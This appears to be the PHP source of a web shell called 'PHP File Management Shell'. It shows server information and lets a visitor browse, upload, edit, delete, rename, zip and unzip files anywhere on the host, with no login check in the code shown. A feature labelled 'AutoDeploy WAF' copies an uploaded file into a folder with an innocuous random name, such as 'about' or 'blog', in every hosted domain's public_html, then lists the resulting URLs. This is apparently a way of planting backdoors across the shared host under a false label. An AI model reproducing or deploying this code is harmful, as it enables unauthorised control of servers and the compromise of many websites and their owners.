'; exit; } } if (isset($_GET['dir']) && is_dir($_GET['dir'])) { $_SESSION['current_dir'] = $_GET['dir']; } elseif (!isset($_SESSION['current_dir'])) { $_SESSION['current_dir'] = getcwd(); } $currentDir = $_SESSION['current_dir']; $os = php_uname(); $user = get_current_user(); $phpVersion = phpversion(); $base_directory = "/home"; $domains = glob($base_directory . '/*/domains/*/public_html', GLOB_ONLYDIR); $domainsCount = is_array($domains) ? count($domains) : 0; /* Define createCwdLinks() so it's available in HTML */ function createCwdLinks($path) { $parts = explode(DIRECTORY_SEPARATOR, $path); $links = []; $currentPath = ''; foreach ($parts as $part) { if ($part != '') { $currentPath .= DIRECTORY_SEPARATOR . $part; $links[] = '' . $part . ''; } } return implode(DIRECTORY_SEPARATOR, $links); } /* Modify listFiles() to return directories and files separately. */ function listFiles($dir) { $items = array_diff(scandir($dir), ['.', '..']); $directories = []; $files = []; foreach ($items as $item) { if (is_dir($dir . '/' . $item)) { $directories[] = $item; } else { $files[] = $item; } } sort($directories, SORT_STRING | SORT_FLAG_CASE); sort($files, SORT_STRING | SORT_FLAG_CASE); return array("directories" => $directories, "files" => $files); } function uploadFile($fileInput, $dir) { if (isset($_FILES[$fileInput]) && $_FILES[$fileInput]['error'] == 0) { $targetPath = $dir . '/' . basename($_FILES[$fileInput]['name']); return move_uploaded_file($_FILES[$fileInput]['tmp_name'], $targetPath) ? "File uploaded to $targetPath" : "Upload failed."; } return "No file selected or upload error."; } function createFile($filePath) { if (!file_exists($filePath)) { file_put_contents($filePath, ""); return "File created: " . basename($filePath); } return "Error: A file with that name already exists."; } function createDirectory($dirPath) { return mkdir($dirPath) ? "Directory created: " . basename($dirPath) : "Error creating directory."; } function deleteFileOrDirectory($path) { if (is_file($path)) { return unlink($path) ? "File deleted: " . basename($path) : "Error deleting file."; } elseif (is_dir($path)) { $files = array_diff(scandir($path), ['.', '..']); foreach ($files as $file) { deleteFileOrDirectory("$path/$file"); } return rmdir($path) ? "Directory deleted: " . basename($path) : "Error deleting directory."; } return "Path not found."; } function renameFile($oldPath, $newPath) { return file_exists($oldPath) ? (rename($oldPath, $newPath) ? "File renamed to " . basename($newPath) : "Error renaming file.") : "File not found."; } function zipFile($filePath, $zipPath) { $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE) === true) { $zip->addFile($filePath, basename($filePath)); $zip->close(); return "File zipped: " . basename($zipPath); } return "Error creating ZIP."; } function unzipFile($zipPath, $extractTo) { $zip = new ZipArchive(); if ($zip->open($zipPath) === true) { $zip->extractTo($extractTo); $zip->close(); return "File unzipped to " . $extractTo; } return "Error unzipping file."; } function editFile($filePath) { if (isset($_POST['file_content'])) { if (file_put_contents($filePath, $_POST['file_content']) !== false) { return "File edited successfully."; } return "Error saving file changes."; } return "Error editing file."; } /* Updated deployWaf() to accumulate messages and convert local paths to valid URLs */ function deployWaf($waf_file_path, $selected_domains) { $messages = ""; global $folder_names; if (empty($folder_names)) { $folder_names = [ 'about', 'contact', 'services', 'portfolio', 'blog', 'gallery', 'products', 'shop', 'cart', 'checkout', 'faq', 'testimonials', 'careers', 'team', 'events', 'news', 'privacy-policy', 'terms-of-service', 'help', 'support', 'resources', 'downloads', 'media', 'press', 'partners', 'locations', 'customers', 'case-studies', 'community', 'updates', 'user-manual', 'guides', 'tutorials', 'how-to', 'webinars', 'courses', 'membership', 'login', 'register', 'profile', 'settings', 'notifications', 'messages', 'inbox', 'outbox', 'drafts', 'archive', 'backup', 'uploads', 'images', 'videos', 'audio', 'documents', 'data', 'files', 'assets', 'css', 'js', 'fonts', 'icons', 'scripts', 'styles', 'themes', 'plugins', 'modules', 'api', 'ajax', 'xml', 'json', 'sitemap', 'robots.txt', 'maintenance', 'coming-soon', '404', '500', 'error', 'contact-form', 'search', 'filter', 'sort', 'category', 'tag', 'archive', 'history', 'analytics', 'tracking', 'reporting', 'performance', 'testing', 'development', 'staging', 'production', 'release', 'changelog', 'versioning', 'dependencies', 'tools', 'samples', 'examples', 'clients', 'projects', 'tasks', 'issues', 'bugs', 'feature-requests', 'roadmap', 'timeline', 'milestones', 'goals', 'vision', 'mission', 'values', 'ethics', 'sustainability', 'initiatives', 'programs', 'donate', 'volunteer', 'contribute', 'fundraising', 'grants', 'projects', 'collaborations', 'sponsorships', 'affiliates', 'influencers', 'ambassadors', 'feedback', 'surveys', 'polls', 'discussion', 'forum', 'chat', 'community-guidelines', 'moderation', 'report', 'user-generated-content', 'conversations', 'topics', 'trending', 'events', 'calendar', 'meetings', 'summaries', 'minutes', 'outcomes', 'presentations', 'slides', 'notes', 'resources', 'kits', 'checklists', 'templates', 'workshops', 'retreats', 'sessions', 'groups', 'activities', 'tutorials', 'demos', 'exhibitions', 'conventions', 'conferences', 'summits', 'webcasts', 'interviews', 'spotlights', 'highlights', 'stories', 'narratives', 'bio', 'credentials', 'accolades', 'awards', 'achievements', 'success', 'celebrations', 'milestones', 'journeys', 'discoveries', 'explorations', 'experiments', 'innovations', 'solutions', 'strategies', 'insights', 'analysis', 'research', 'case-studies', 'whitepapers', 'articles', 'newsletters', 'updates', 'subscriptions', 'alerts', 'notifications', 'announcements', 'reminders' ]; } foreach ($selected_domains as $domain_dir) { $random_folder = $folder_names[array_rand($folder_names)]; $target_dir = $domain_dir . '/' . $random_folder; if (!is_dir($target_dir)) { mkdir($target_dir, 0777, true); } $original_file_name = pathinfo($_FILES['waf_file']['name'], PATHINFO_BASENAME); $target_path = $target_dir . '/' . $original_file_name; if (copy($waf_file_path, $target_path)) { $pattern = '#^/home/[^/]+/domains/([^/]+)/public_html/?#'; $url = preg_replace($pattern, 'https://$1/', $target_path); $messages .= "

WAF deployed to: $url

"; } else { $messages .= "

Failed to deploy WAF to: $target_path

"; } } return $messages; } /* Handle bulk delete if triggered */ if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['bulk_delete'])) { if (isset($_POST['selected_files']) && !empty($_POST['selected_files'])) { foreach ($_POST['selected_files'] as $item) { $output .= deleteFileOrDirectory($currentDir . '/' . $item) . "
"; } } else { $output .= "No files or directories selected for bulk deletion.
"; } } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['upload_file'])) { $output = uploadFile('upload_file', $currentDir); } if (isset($_POST['create_file_name'])) { $newFilePath = $currentDir . '/' . $_POST['create_file_name']; $output = createFile($newFilePath); } if (isset($_POST['make_directory_name'])) { $newDirPath = $currentDir . '/' . $_POST['make_directory_name']; $output = createDirectory($newDirPath); } if (isset($_POST['delete_file'])) { $output = deleteFileOrDirectory($currentDir . '/' . $_POST['delete_file']); } if (isset($_POST['old_name']) && isset($_POST['new_name'])) { $oldPath = $currentDir . '/' . $_POST['old_name']; $newPath = $currentDir . '/' . $_POST['new_name']; $output = renameFile($oldPath, $newPath); } if (isset($_POST['zip_file'])) { $zipPath = $currentDir . '/' . basename($_POST['zip_file']) . '.zip'; $output = zipFile($_POST['zip_file'], $zipPath); } if (isset($_POST['unzip_file'])) { $output = unzipFile($_POST['unzip_file'], $currentDir); } if (isset($_POST['edit_file'])) { $filePath = $currentDir . '/' . $_POST['edit_file']; if (file_exists($filePath)) { $fileContent = file_get_contents($filePath); echo '
'; exit; } } if (isset($_POST['edit_file_path'])) { $output = editFile($_POST['edit_file_path']); } if (isset($_FILES['waf_file'])) { $waf_file = $_FILES['waf_file']['tmp_name']; $selected_domains = $_POST['selected_domains'] ?? []; $output = deployWaf($waf_file, $selected_domains); } } $fileLists = listFiles($currentDir); ?> PHP File Management Shell

System Information

OS:

User:

PHP Version:

CWD:

Number of Domains:

File Management

Files in Directory


AutoDeploy WAF

Select Domains for WAF Deployment:


Output: